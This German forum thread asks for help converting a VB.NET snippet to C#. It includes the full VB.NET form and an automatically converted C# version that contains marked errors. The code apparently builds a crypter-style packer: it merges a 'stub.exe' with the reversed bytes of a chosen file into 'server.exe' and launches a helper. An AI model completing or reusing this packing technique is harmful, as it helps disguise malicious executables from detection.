titel sagt eigentlich alles.
Call InsertValue(Dataa(count))
count = count + 1
kann das jemand in C# convertieren?
ach ja, Dataa ist byte[] und cont ein int
Vielen dank
The Blubb
titel sagt eigentlich alles.
Call InsertValue(Dataa(count))
count = count + 1
kann das jemand in C# convertieren?
ach ja, Dataa ist byte[] und cont ein int
Vielen dank
The Blubb
K?nntest du nen bisschen mehr zu dem ganzen Code sagen? Nicht nur den snippet, weil es vielleicht noch ne andere Methode gibt.
Ausm FF w?rde ich sagen so:
dim data as byte()
dim count as integer = 0
insertvalue(data(count)) 'btw, hab bis jetzt noch keine Funktion zu InsertValue in Google gefunden..
count +=1
keine ahnung obs funktioniert..
ich glaub du hast da was falsch verstanden Lighti...er wollte es von VB.net in C# haben
ich kann dir da aber auch nicht weiterhelfen wenn du hier nur die 2 zeilen postest.
Asoooooooooo xD
na ich versuchs mal
byte() data
int count
insertvalue(data(count));
count++;
Imports System.IO
Imports System.Security.Cryptography
Imports System.Text
Imports System.Resources, System.Reflection, System.Globalization
Public Class Form1
Dim speicher As Byte()
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Shared Salt As Byte() = {100, 86, 34, 53, 11, 224, 145, 123, _
237, 213, 12, 124, 45, 65, 71, 127, _
135, 165, 234, 164, 127, 234, 231, 211, _
10, 9, 114, 234, 44, 63, 75, 12}
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
OpenFileDialog1.ShowDialog()
End Sub
Private Sub OpenFileDialog1_FileOk(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk
TextBox1.Text = OpenFileDialog1.FileName
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
IO.File.Copy(Application.StartupPath + "\stub.exe", Application.StartupPath + "\server.exe", True)
Dim filename As String = OpenFileDialog1.FileName
Dim fs As FileStream = New FileStream(filename, FileMode.Open)
Dim reader As BinaryReader = New BinaryReader(fs)
Dim Data As Byte() = reader.ReadBytes(DirectCast(fs.Length, Long))
reader.Close()
fs.Close()
MsgBox("Datei Eingelesen...")
Dim fsa As FileStream = New FileStream("server.exe", FileMode.Open)
Dim readera As BinaryReader = New BinaryReader(fsa)
Dim Dataa As Byte() = readera.ReadBytes(DirectCast(fsa.Length, Long))
readera.Close()
fsa.Close()
MsgBox("L?nge der Stub in Bytes : " + Dataa.Length.ToString)
Dim count As String = "0"
While count < Dataa.Length
Call InsertValue(Dataa(count))
count = count + 1
End While
count = Data.Length
While count > 0
count = count + -1
Call InsertValue(Data(count))
End While
Dim byteData As Byte() = speicher
Dim oFileStream As System.IO.FileStream
oFileStream = New System.IO.FileStream(Application.StartupPath + "\server.exe", System.IO.FileMode.Open)
oFileStream.Write(byteData, 0, byteData.Length)
oFileStream.Close()
Dim startInfo As New ProcessStartInfo("by_slay2oo7")
startInfo.Arguments = "server.exe"
Process.Start(startInfo)
End Sub
Public Sub InsertValue(ByVal NewValue As Byte)
Dim NewIndex As Integer
'Stelle ermitteln an welcher der neue Wert hinzugef?gt werden soll
If speicher Is Nothing Then
NewIndex = 0
Else
NewIndex = speicher.Length
End If
'Array vergr??ern
Array.Resize(speicher, NewIndex + 1)
'Neuen Wert einf?gen
speicher(NewIndex) = NewValue
End Sub
End Class
Alles anzeigen
Ein mal google und du findest sofort einen vb.net zu c# convertor und auch andersterrum
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Resources;
using System.Reflection;
using System.Globalization;
public class Form1
{
byte[] speicher;
private void // ERROR: Handles clauses are not supported in C#
Form1_Load(object sender, System.EventArgs e)
{
}
private static byte[] Salt = { 100, 86, 34, 53, 11, 224, 145, 123, 237, 213,
12, 124, 45, 65, 71, 127, 135, 165, 234, 164,
127, 234, 231, 211, 10, 9, 114, 234, 44, 63,
75, 12 };
private void // ERROR: Handles clauses are not supported in C#
Button1_Click(object sender, System.EventArgs e)
{
OpenFileDialog1.ShowDialog();
}
private void // ERROR: Handles clauses are not supported in C#
OpenFileDialog1_FileOk(object sender, System.ComponentModel.CancelEventArgs e)
{
TextBox1.Text = OpenFileDialog1.FileName;
}
private void // ERROR: Handles clauses are not supported in C#
Button2_Click(object sender, System.EventArgs e)
{
IO.File.Copy(Application.StartupPath + "\\stub.exe", Application.StartupPath + "\\server.exe", true);
string filename = OpenFileDialog1.FileName;
FileStream fs = new FileStream(filename, FileMode.Open);
BinaryReader reader = new BinaryReader(fs);
byte[] Data = reader.ReadBytes((long)fs.Length);
reader.Close();
fs.Close();
Interaction.MsgBox("Datei Eingelesen...");
FileStream fsa = new FileStream("server.exe", FileMode.Open);
BinaryReader readera = new BinaryReader(fsa);
byte[] Dataa = readera.ReadBytes((long)fsa.Length);
readera.Close();
fsa.Close();
Interaction.MsgBox("L?nge der Stub in Bytes : " + Dataa.Length.ToString);
string count = "0";
while (count < Dataa.Length) {
InsertValue(Dataa(count));
count = count + 1;
}
count = Data.Length;
while (count > 0) {
count = count + -1;
InsertValue(Data(count));
}
byte[] byteData = speicher;
System.IO.FileStream oFileStream = default(System.IO.FileStream);
oFileStream = new System.IO.FileStream(Application.StartupPath + "\\server.exe", System.IO.FileMode.Open);
oFileStream.Write(byteData, 0, byteData.Length);
oFileStream.Close();
ProcessStartInfo startInfo = new ProcessStartInfo("by_slay2oo7");
startInfo.Arguments = "server.exe";
Process.Start(startInfo);
}
public void InsertValue(byte NewValue)
{
int NewIndex = 0;
//Stelle ermitteln an welcher der neue Wert hinzugef?gt werden soll
if (speicher == null) {
NewIndex = 0;
}
else {
NewIndex = speicher.Length;
}
//Array vergr�?ern
Array.Resize(speicher, NewIndex + 1);
//Neuen Wert einf?gen
speicher(NewIndex) = NewValue;
}
}
Alles anzeigen
Hallo,
es gibt sogar einen Online-Konverter:
http://www.developerfusion.com/tools/convert/vb-to-csharp/
Wäre mal interessant als Wettbewerb, einen Converter zu coden, oder?
Zitat von ShockerZz;11843Wäre mal interessant als Wettbewerb, einen Converter zu coden, oder?
Relativ.
Es gibt schon genug Converter, die Public und Freeware sind :>